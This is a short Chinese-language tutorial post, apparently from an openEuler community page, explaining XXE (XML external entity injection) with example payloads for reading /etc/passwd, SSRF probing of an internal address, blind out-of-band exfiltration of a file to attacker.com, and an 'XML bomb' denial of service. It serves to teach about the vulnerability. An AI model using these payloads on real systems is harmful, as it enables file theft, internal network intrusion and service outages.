了解一个安全漏洞丨XXE(XML外部实体注入)
XML实体
在XML中,实体以一种类似占位符的形式存在,可以定义一些内容并且在文档中重复使用
例如:
<!DOCTYPE foo [
<!ENTITY myname "Ark">
]>
<user>&myname;</user>
在这个文档中,&myname会被解析成Ark,这就叫做内部实体。
而外部实体则是用SYSTEM关键字指向一个外部资源:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
如果解析器允许访问外部资源,则&xxe就会去读取本地文件file:///etc/passwd
漏洞成因
许多XML解析库默认支持外部实体和DTD(文档类型定义处理)。
如果应用接收用户提交的XML数据,并在服务端使用默认配置的解析器解析,就会把攻击者定义的外部实体当做合法指令执行,从而产生漏洞
常见攻击场景
读取本地敏感文件
攻击载荷:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
如果服务器解析这个XML后把<data>的内容(即文件内容)返回给客户端,攻击者就拿到了 /etc/passwd
然而,实际中不一定直接回显,可通过错误消息、报错路径等方式带出数据。
内网探测(SSRF)
载荷:
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/secret">
通过外部实体访问内部系统URL,探测端口或者获取内网资源。
如果解析器支持HTTP协议且不做限制,就能对内网发起请求,可能绕过防火墙。
Blind XXE(无回显)
很多时候服务器并不返回解析结果,但仍可能通过带外数据(OOB)把信息偷出来。
例如将文件内容作为参数拼到攻击者控制的域名的 URL 里
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
]>
在支持参数实体的解析器里,这种组合可以在没有直接回显时,让服务器向攻击者的服务器发起请求,将文件内容编码在 URL 中带出。
拒绝服务攻击
通过嵌套实体指数级消耗内存,也叫“XML 炸弹”
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
...
]>
<lolz>&lol9;</lolz>
解析时实体被逐层展开,可能导致服务器资源耗尽
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐


所有评论(0)